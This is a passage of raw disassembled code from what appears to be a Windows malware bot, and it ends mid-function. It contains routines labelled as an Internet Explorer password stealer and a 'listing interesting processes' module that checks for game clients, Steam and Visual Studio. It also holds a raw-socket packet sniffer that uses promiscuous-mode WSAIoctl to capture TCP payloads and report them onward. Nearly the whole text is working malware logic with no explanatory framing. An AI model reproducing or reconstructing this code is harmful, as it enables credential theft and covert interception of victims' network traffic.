--------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D414 lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D414 lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call dword_417100 ; lstrcpyn push offset dword_41D40C lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D404 lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D3BC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DE00 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D474 lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D474 lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D474 lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D360 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D324 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE50, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: MEW:00416FB6p ; MEW:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D5A4 lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6D4 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D730 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7A4 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7E8 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41D9B4 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41D980 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: 